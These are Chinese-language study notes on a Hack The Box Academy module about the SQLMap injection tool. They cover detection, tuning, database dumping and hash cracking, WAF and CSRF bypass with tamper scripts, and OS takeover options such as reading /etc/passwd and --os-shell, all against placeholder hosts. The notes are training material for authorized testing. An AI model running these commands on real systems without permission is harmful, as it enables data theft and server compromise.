来源:Hack The Box Academy,Module 58。本文是依据章节内容重组的学习笔记,不是网页逐句复制。命令仅限明确授权的靶场或安全测试环境。

0. 本章定位与学习路线
SQLMap 是用 Python 编写的开源 SQL 注入自动化工具。它能够识别注入点、判断后端 DBMS、选择合适的注入技术、枚举数据库内容,并在数据库权限和服务器配置允许时访问文件系统或执行操作系统命令。
本章的核心并不是“记住大量开关”,而是建立一条可控的使用流程:
准备完整 HTTP 请求
→ 选择并标记待测参数
→ 运行基础检测
→ 阅读输出并确认注入点
→ 根据失败原因调节 level/risk/technique
→ 枚举 DBMS、数据库、表、列和记录
→ 搜索敏感数据及处理密码哈希
→ 必要时绕过 CSRF、WAF、随机参数等保护
→ 在权限允许时验证文件系统或 OS 层影响
章节结构
- SQLMap Overview
- Getting Started with SQLMap
- SQLMap Output Description
- Running SQLMap on an HTTP Request
- Handling SQLMap Errors
- Attack Tuning
- Database Enumeration
- Advanced Database Enumeration
- Bypassing Web Application Protections
- OS Exploitation
- Skills Assessment
使用前提
- 掌握 Linux 命令行与基本 HTTP 请求结构;
- 明白 GET、POST、Cookie、Header 和状态码的作用;
- 目标必须是授权靶场或获得明确测试许可的系统;
- 能通过 Pwnbox、代理工具或浏览器开发者工具取得实际请求;
- 网络上能够访问目标,且应用会把被测参数送入数据库查询。
1. SQLMap Overview:能力边界与注入类型
1.1 安装与首次运行
Pwnbox 和多数安全测试发行版已经预装 SQLMap。Debian 系发行版可通过软件仓库安装:
sudo apt install sqlmap
sqlmap --version
章节还给出了从官方仓库取得开发版本的方法:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python sqlmap.py
两种运行形式应区分:
# 系统包安装
sqlmap [选项]
# Git 仓库版本
python sqlmap.py [选项]
首次使用先看帮助:
sqlmap -h
sqlmap -hh
-h 显示常用选项,-hh 显示完整高级选项。
1.2 主要能力
- 目标连接与 HTTP 请求解析;
- SQL 注入检测和 DBMS 指纹识别;
- 数据库、表、列及记录枚举;
- 针对 WAF/IPS 的探测和 tamper 脚本;
- 数据库文件读写;
- 条件满足时执行操作系统命令。
1.3 支持的 SQL 注入技术:BEUSTQ
sqlmap -hh
--technique=BEUSTQ 中各字母表示:
字母 技术 判定依据与特点 B Boolean-based blind 比较真、假条件的页面差异;常见但请求量较大 E Error-based 利用数据库错误回显数据;通常较快 U UNION query-based 将结果并入原查询页面;理想情况下最快 S Stacked queries 在原语句后追加新语句;依赖 DBMS/驱动支持 T Time-based blind 用响应延迟区分真假;稳定但通常最慢 Q Inline queries 把查询嵌入原查询;依赖特定查询结构
章节还介绍了带外注入:通过受控 DNS 域接收查询结果,适合常规回显方式不可用或过慢的特殊场景。
1.4 类型选择原则
- 页面直接显示查询结果:优先关注 UNION。
- 数据库错误返回到页面:错误型注入效率较高。
- 页面只表现真假差异:布尔盲注。
- 页面内容始终相同,但延迟可观察:时间盲注。
- 需要执行非查询语句:必须确认堆叠查询受支持。
SQLMap 会自动尝试多种技术;手动限制 --technique 的意义是缩小检测范围、降低请求量,或避免不适合当前环境的测试。
2. Getting Started with SQLMap:最小可用流程
2.1 对 GET 参数执行基础测试
sqlmap -u 'http://www.example.com/vuln.php?id=1'
SQLMap 会建立基线、检查参数是否动态、尝试启发式测试、识别可能的 DBMS,再对参数运行适用的 payload。
2.2 批处理模式
sqlmap -u 'http://www.example.com/vuln.php?id=1' --batch
--batch 对交互问题采用默认答案,适合可重复实验和无人值守任务;但首次分析时应阅读交互问题,因为某些选择会影响检测强度或请求行为。
2.3 明确测试参数
sqlmap -u 'http://www.example.com/vuln.php?id=1&category=2' -p id
-p 只测试指定参数,能够避免扫描无关参数并减少流量。
也可以在目标位置插入星号:
sqlmap -u 'http://www.example.com/vuln.php?id=1*'
* 是自定义注入标记,尤其适合 URI 路径、JSON 值、Header 或复杂参数中的精确位置。
2.4 非交互式常用起点
sqlmap -u 'http://www.example.com/vuln.php?id=1' \
-p id \
--batch \
--banner \
--current-user \
--current-db
这组命令用于确认注入并取得少量环境信息,不应一开始就使用 --dump-all,否则会产生大量请求和无关数据。
2.5 结果保存位置
SQLMap 会为不同目标保存会话和输出。重复测试时可能复用已有检测结果。若目标发生变化或需要重新验证,可使用:
sqlmap -u 'http://www.example.com/vuln.php?id=1' --flush-session
--flush-session 会清除此目标已保存的注入会话,避免旧结果影响当前判断。
3. SQLMap Output Description:读懂检测输出
SQLMap 的输出不是单纯的“成功/失败”。每个阶段都提示下一步应做什么。
3.1 日志级别
标记 含义 [INFO] 正常阶段、发现或操作进度 [WARNING] 不稳定、可能误判或环境限制 [CRITICAL] 无法继续的重要错误 [PAYLOAD] 发送的注入表达式,需提高 verbosity 才更常见 [DEBUG] 调试细节,用于排查工具行为
提高详细度:
sqlmap -u 'http://www.example.com/vuln.php?id=1' -v 3
-v 级别越高,输出越详细。常见用法:
- -v 1:默认信息;
- -v 3:显示注入 payload;
- -v 4:显示 HTTP 请求;
- -v 5:显示 HTTP 响应头;
- -v 6:显示完整 HTTP 响应内容。
高等级输出非常庞大,只在诊断时短时间使用。
3.2 关键检测阶段
- testing connection:目标是否可访问。
- checking if target is protected:是否出现 WAF/IPS 特征。
- target URL content is stable:基准页面是否稳定。
- parameter appears to be dynamic:改变参数是否影响响应。
- heuristic test:参数是否可能可注入。
- back-end DBMS:后端数据库指纹。
- parameter is vulnerable:确认注入点及可用技术。
3.3 最终注入报告应记录
- 参数位置:GET、POST、Cookie、Header 或 URI;
- 参数名称;
- 注入技术;
- payload;
- 后端 DBMS 及版本;
- Web 技术栈和操作系统(若成功识别);
- 是否受 WAF、页面不稳定或权限限制影响。
3.4 正确解释警告
- 参数“不动态”不等于绝对安全,可能需要提高 --level 或手工指定注入点。
- 页面“不稳定”会影响布尔盲注判断,应使用字符串、正则或状态码作为稳定判据。
- 识别到 WAF 不代表无法继续,但应降低噪声并针对性调整。
- 枚举失败不等于注入不存在,可能是权限、技术类型或响应处理问题。
4. Running SQLMap on an HTTP Request:输入完整请求
只传 URL 适合简单 GET。真实应用通常需要 POST 数据、Cookie、Header、JSON 或代理抓取的原始请求。
4.1 POST 表单
sqlmap -u 'http://www.example.com/login.php' \
--data='username=test&password=test' \
-p username
--data 出现后,SQLMap 会按 POST 请求处理。若未用 -p,可能测试多个 POST 参数。
4.2 Cookie
sqlmap -u 'http://www.example.com/profile.php?id=1' \
--cookie='PHPSESSID=abc123; security=low'
需要登录态时,Cookie 必须仍有效。若怀疑 Cookie 自身是注入点,可使用:
sqlmap -u 'http://www.example.com/' \
--cookie='id=1*; PHPSESSID=abc123'
4.3 自定义 Header
sqlmap -u 'http://www.example.com/' \
--headers=$'X-Forwarded-For: 127.0.0.1\nReferer: http://www.example.com/'
常用快捷选项:
--user-agent='Mozilla/5.0'
--referer='http://www.example.com/'
--host='www.example.com'
4.4 使用原始请求文件:推荐方式
先在 Burp Suite 或代理中把完整请求保存为 request.txt:
POST /login.php HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=abc123
username=test&password=test
运行:
sqlmap -r request.txt -p username --batch
复杂请求中可直接标记位置:
username=test*&password=test
随后运行:
sqlmap -r request.txt --batch
使用请求文件的优势是保留方法、路径、Cookie、Header、Content-Type 和请求体,减少手工转写错误。
4.5 HTTPS、代理与流量观察
sqlmap -r request.txt --proxy='http://127.0.0.1:8080'
将流量送入 Burp 便于观察实际 payload、重放请求和排查应用响应。使用上游代理前要确认代理监听地址正确,并避免 Burp 拦截模式阻塞自动请求。
4.6 JSON 与自定义位置
sqlmap -u 'http://www.example.com/api/item' \
--data='{"id":1,"name":"test"}' \
--headers='Content-Type: application/json' \
-p id
如果自动解析不准确,应在 JSON 值中使用 * 明确注入位置。
5. Handling SQLMap Errors:错误处理与稳定性
5.1 展示错误详情
sqlmap -u 'http://www.example.com/vuln.php?id=1' --parse-errors
--parse-errors 从响应中解析 DBMS 错误,有助于判断语法、类型和数据库产品。
5.2 保存流量日志
sqlmap -u 'http://www.example.com/vuln.php?id=1' \
-t traffic.txt
-t 把全部 HTTP 流量记录到文件。出现意外状态码、重定向或响应差异时,可检查真实请求与响应。
5.3 页面不稳定
动态时间、广告、随机 Token 或用户名会导致响应不断变化。可用稳定内容辅助判断:
--string='Welcome'
--not-string='Invalid'
--regexp='User ID: [0-9]+'
--code=200
--text-only
--titles
含义:
- --string:真响应应包含指定文本;
- --not-string:真响应不应包含指定文本;
- --regexp:用正则识别真响应;
- --code:用 HTTP 状态码区分;
- --text-only:只比较文本,忽略标签噪声;
- --titles:只比较页面标题。
5.4 网络与服务器问题
--timeout=20
--retries=3
--delay=1
- 增大超时适用于慢速目标;
- 重试可缓解临时丢包;
- 请求间延迟可降低服务器压力和限速触发概率。
5.5 重定向、认证和状态问题
优先检查:
- 请求文件中的 Cookie 是否过期;
- Host、Content-Type 和 CSRF Token 是否完整;
- 是否被重定向到登录页;
- 请求方法是否正确;
- 请求体编码是否与浏览器一致;
- 是否因为旧会话缓存而复用错误结果。
必要时清理 SQLMap 会话:
--flush-session
5.6 常见现象与处理
现象 优先处理 目标无法连接 URL、DNS、端口、代理、VPN、HTTPS 参数不动态 确认参数确实影响查询;指定 -p 或 * 页面不稳定 --string、--not-string、--text-only 大量 403/406 可能存在 WAF;降低频率、检查请求头、再考虑 tamper 一直回登录页 更新 Cookie/Token,重抓请求 旧结果与当前不符 --flush-session 后重新检测 时间盲注误判 增加时间差、减少网络抖动、重复验证
6. Attack Tuning:精确调节检测
6.1 Prefix 与 Suffix
当输入位于括号、引号或复杂表达式中,SQLMap 自动构造的 payload 可能无法闭合查询:
sqlmap -u 'http://www.example.com/vuln.php?id=1' \
--prefix="')" \
--suffix='-- -'
使用前应先从错误信息或手工测试推断查询上下文;错误的前后缀会让所有测试失败。
6.2 Level 与 Risk
sqlmap -u 'http://www.example.com/vuln.php?id=1' \
--level=5 \
--risk=3
- --level 控制测试广度、payload 数量和可测试的位置;级别越高,请求量越大。
- --risk 控制 payload 的潜在影响;高风险测试可能包含更重的时间延迟或具有数据修改风险的表达式。
推荐策略:先默认值;有充分理由时逐级提高,而不是直接使用 --level=5 --risk=3。
6.3 限制注入技术
sqlmap -u 'http://www.example.com/vuln.php?id=1' \
--technique=BEU
例如已经确认页面存在稳定布尔差异,就可只使用 B;已知只有时间侧信道时可指定 T。限制技术可减少请求和误报。
6.4 UNION 调优
--union-cols=1-10
--union-char=1
--union-from=users
- --union-cols:限制搜索的列数范围;
- --union-char:指定 UNION 占位值;
- --union-from:某些 DBMS/查询需要有效的 FROM 表。
这些选项应建立在手工观察或错误信息之上。
6.5 DBMS 和操作系统提示
--dbms=mysql
--os=linux
确定后端类型时,指定 --dbms 可跳过其他产品的 payload;错误指定会导致漏检。--os 主要影响文件路径和 OS 利用阶段。
6.6 优化与并发
sqlmap -u 'http://www.example.com/vuln.php?id=1' -o
sqlmap -u 'http://www.example.com/vuln.php?id=1' --threads=5
- -o 启用若干优化开关;
- --threads 允许并发数据提取。
并发适合稳定且获授权的环境。时间盲注、限速目标或脆弱服务中,并发可能降低准确性或增加负载。
7. Database Enumeration:从环境信息到表数据
确认 SQLi 后,应按从小到大的顺序枚举。
7.1 基础指纹
sqlmap -r request.txt --banner
sqlmap -r request.txt --current-user
sqlmap -r request.txt --current-db
sqlmap -r request.txt --hostname
7.2 权限与账户
sqlmap -r request.txt --is-dba
sqlmap -r request.txt --users
sqlmap -r request.txt --passwords
sqlmap -r request.txt --privileges
sqlmap -r request.txt --roles
--is-dba 判断当前 DBMS 用户是否具有管理员级身份。数据库管理员权限与操作系统 root/SYSTEM 权限不是同一概念。
7.3 数据库、表与列
# 数据库列表
sqlmap -r request.txt --dbs
# 指定数据库的表
sqlmap -r request.txt -D <database> --tables
# 指定表的列
sqlmap -r request.txt -D <database> -T <table> --columns
# 导出指定表
sqlmap -r request.txt -D <database> -T <table> --dump
7.4 精确选择列与记录
sqlmap -r request.txt \
-D <database> \
-T <table> \
-C username,password \
--dump
限制记录范围:
--start=1 --stop=10
使用条件过滤:
--where="id>10"
7.5 全量导出
--dump-all
--exclude-sysdbs
全量导出流量大、耗时长,也容易收集超出测试目标的数据。仅当评估范围明确要求时使用,并用 --exclude-sysdbs 排除系统数据库。
7.6 实际枚举顺序
--banner / --current-user / --current-db
↓
--dbs
↓
-D database --tables
↓
-D database -T table --columns
↓
-D database -T table -C columns --dump
这种顺序能减少盲目请求,并让每一步都为下一步提供准确参数。
8. Advanced Database Enumeration:搜索、架构与密码哈希
8.1 搜索数据库对象
不知道精确位置时可按名称搜索:
# 搜索数据库名
sqlmap -r request.txt --search -D user
# 搜索表名
sqlmap -r request.txt --search -T user
# 搜索列名
sqlmap -r request.txt --search -C pass
搜索适合定位包含 user、pass、email 等关键词的对象,之后仍应使用 -D、-T、-C 精确导出。
8.2 数据库架构与数量
sqlmap -r request.txt --schema
sqlmap -r request.txt --count
- --schema 输出数据库结构;
- --count 统计各表记录数,帮助确定优先级和导出规模。
8.3 指定 SQL 查询
sqlmap -r request.txt --sql-query='SELECT @@version'
需要交互式 SQL Shell 时:
sqlmap -r request.txt --sql-shell
自定义查询应在已理解 DBMS 语法和权限边界后使用。读取型查询的风险低于修改型语句。
8.4 处理密码哈希
当导出的列看起来像密码哈希时,SQLMap 会询问是否存储并使用字典攻击。关键流程:
- 识别哈希格式;
- 选择是否进行离线破解;
- 选择内置或自定义字典;
- 记录成功恢复和未恢复的哈希。
密码哈希破解是离线操作,不代表哈希一定能恢复;结果受密码强度、算法和字典质量影响。
8.5 数据提取策略
- 先 --count,再决定导出范围;
- 优先导出任务所需列,不要默认整库;
- 盲注环境用 --start/--stop 分批获取;
- 使用 --threads 前确认响应稳定;
- 保存命令、目标对象和输出文件位置,便于复核。
9. Bypassing Web Application Protections:处理动态与防护机制
绕过选项应针对已经观察到的防护使用,而不是把所有开关一次性堆上去。
9.1 反 CSRF Token
若每次请求都需要变化的 Token:
sqlmap -r request.txt --csrf-token='csrf-token'
SQLMap 会从响应中提取新的 Token 并放回后续请求。必要时指定获取 Token 的页面:
--csrf-url='http://www.example.com/form.php'
前提是 Token 名称、来源页面和登录会话均正确。
9.2 唯一值或随机参数
某些应用要求每次请求带不同值:
--randomize=rp
SQLMap 会随机化指定参数,同时保持原值的数据类型与长度特征。
9.3 计算参数
若某个参数由其他参数计算得到:
--eval="import hashlib; h=hashlib.md5(id.encode()).hexdigest()"
--eval 在每次请求前执行 Python 代码,可更新校验值。必须只使用自己理解且来自可信章节内容的表达式。
9.4 IP 隐藏与代理
--proxy='http://127.0.0.1:8080'
--proxy-file=proxies.txt
--tor
--check-tor
代理的主要用途是路由和观察流量。即使使用代理,也不能改变授权边界。
9.5 WAF 识别
SQLMap 会在早期请求中检测常见 WAF/IPS。可使用:
--identify-waf
遭遇拦截时,先确认是否因缺少正常 Header、Cookie 或过高请求频率导致,再考虑 payload 变形。
9.6 Tamper 脚本
列出脚本:
sqlmap --list-tampers
使用脚本:
sqlmap -r request.txt --tamper=between
组合示例:
--tamper=between,randomcase
Tamper 脚本会改变 payload 表达形式,例如大小写、空白符、编码或运算符替换。使用原则:
- 先观察防护拦截特征;
- 选择与拦截规则匹配的脚本;
- 一次增加一个并验证效果;
- 避免互相冲突或让 payload 对目标 DBMS 无效的组合。
9.7 HTTP 参数污染与分块传输
章节还涉及针对特定过滤器的请求层变化:
--hpp
--chunked
- --hpp 使用 HTTP Parameter Pollution;
- --chunked 使用分块传输编码。
只有应用、代理与后端对重复参数或分块请求的解析差异确实相关时才有意义。
10. OS Exploitation:文件系统与命令执行
这一阶段建立在“已确认 SQLi + 足够数据库权限 + 兼容 DBMS + 合适服务器配置”之上。SQLi 成功并不自动意味着可以读写文件或执行命令。
10.1 读取远程文件
sqlmap -r request.txt --file-read='/etc/passwd'
读取成功后,SQLMap 会把文件保存在本地输出目录。常见前置条件:
- DBMS 用户有文件读取能力;
- 数据库服务账户能读取目标路径;
- DBMS 功能与安全配置允许;
- 路径属于目标服务器,而非本地攻击机。
10.2 写入远程文件
sqlmap -r request.txt \
--file-write='local.txt' \
--file-dest='/tmp/remote.txt'
前置条件:
- 数据库账户具有相应文件权限;
- 目标目录可写;
- 数据库配置未限制目标位置;
- --file-write 是本地文件,--file-dest 是目标服务器路径。
10.3 操作系统命令 Shell
sqlmap -r request.txt --os-shell
SQLMap 会根据 DBMS、语言环境和权限尝试建立命令执行通道。是否成功取决于:
- 支持堆叠查询或其他可利用技术;
- 当前 DBMS 用户权限;
- 数据库服务与 Web 目录权限;
- 可用的服务端语言或 DBMS 扩展机制;
- 防病毒、应用防护和出站连接限制。
10.4 单条 OS 命令
sqlmap -r request.txt --os-cmd='id'
使用无破坏性的身份命令验证影响,比直接执行复杂载荷更容易审计。
10.5 数据库与系统接管选项
章节所展示的高级能力还包括:
--os-pwn
--os-smbrelay
--os-bof
这些选项高度依赖平台、权限和环境,风险明显高于数据枚举。技能评估中应先满足题目目标,不要把“能尝试”误当作“必须执行”。
10.6 失败时的正确判断
SQL 注入成立
≠ 当前用户是 DBA
≠ DBMS 可访问任意文件
≠ 目标目录可写
≠ 可以执行操作系统命令
文件或 OS 利用失败时,应分别检查 DBMS、权限、技术类型、路径和服务账户,而不是否定已确认的 SQL 注入。
11. Skills Assessment:完整解题方法
阶段一:准备请求
- 浏览应用并找到数据库相关功能。
- 使用代理抓取完整请求。
- 确认登录 Cookie、Content-Type、请求体和动态 Token。
- 保存为请求文件,并用 * 标记最可能的注入位置。
阶段二:基础检测
sqlmap -r request.txt --batch
若知道参数名:
sqlmap -r request.txt -p <parameter> --batch
记录 SQLMap 报告的参数、技术、payload 和 DBMS。
阶段三:失败排查与调优
按顺序检查:
- 请求是否仍有效;
- 页面是否稳定;
- 参数是否真正动态;
- 是否需要 --string 或 --not-string;
- 是否存在 CSRF、随机值或 WAF;
- 是否需要提高 --level、--risk;
- 是否需要指定 --technique、--prefix、--suffix。
一次只改变少量选项,否则无法判断哪个调整产生了效果。
阶段四:目标化枚举
sqlmap -r request.txt --current-db --current-user --is-dba
sqlmap -r request.txt --dbs
sqlmap -r request.txt -D <db> --tables
sqlmap -r request.txt -D <db> -T <table> --columns
sqlmap -r request.txt -D <db> -T <table> -C <columns> --dump
不知道数据位置时使用 --search,数据量很大时先 --count。
阶段五:只按题目要求扩大影响
- 需要读取文件时才使用 --file-read;
- 需要证明写权限时准备最小、无害的本地测试文件;
- 需要命令执行时优先用 id、whoami 等身份验证命令;
- 不为追求“更多权限”执行与题目无关的破坏性操作。
实验记录模板
## 目标与请求
- 功能/URL:
- 请求方法:
- 请求文件:
- 被测参数:
- Cookie/CSRF 要求:
## 检测结果
- 注入参数:
- 注入技术:
- Payload:
- DBMS/版本:
- Web/OS 指纹:
## 调优选项
- level / risk:
- technique:
- string / not-string:
- prefix / suffix:
- tamper:
## 枚举路径
- 当前用户/数据库:
- 数据库:
- 表:
- 列:
- 目标记录:
## 权限与高级影响
- is-dba:
- 文件读取:
- 文件写入:
- OS 命令:
## 证据与结论
- 关键命令:
- 输出文件:
- 限制条件:
SQLMap 命令速查表
目标 选项 测试 URL -u 读取原始请求 -r request.txt POST 数据 --data='' 指定参数 -p 自定义注入位置 * 自动采用默认回答 --batch 清除已保存会话 --flush-session 解析 DBMS 错误 --parse-errors 保存 HTTP 流量 -t traffic.txt 调整输出详细度 -v 0..6 检测广度 --level=1..5 Payload 风险 --risk=1..3 限制技术 --technique=BEUSTQ 指定 DBMS --dbms= 稳定真响应 --string='' 稳定假响应 --not-string='' 当前数据库 --current-db 当前用户 --current-user DBA 判断 --is-dba 枚举数据库 --dbs 枚举表 -D --tables 枚举列 -D -T --columns 导出记录 -D -T
--dump 搜索对象 --search -D/-T/-C 数据库结构 --schema 记录数 --count 自定义查询 --sql-query='' SQL Shell --sql-shell 读取文件 --file-read='' 写入文件 --file-write='' --file-dest='' OS Shell --os-shell 单条 OS 命令 --os-cmd='' CSRF Token --csrf-token='' 随机化参数 --randomize= Tamper 脚本 --tamper=
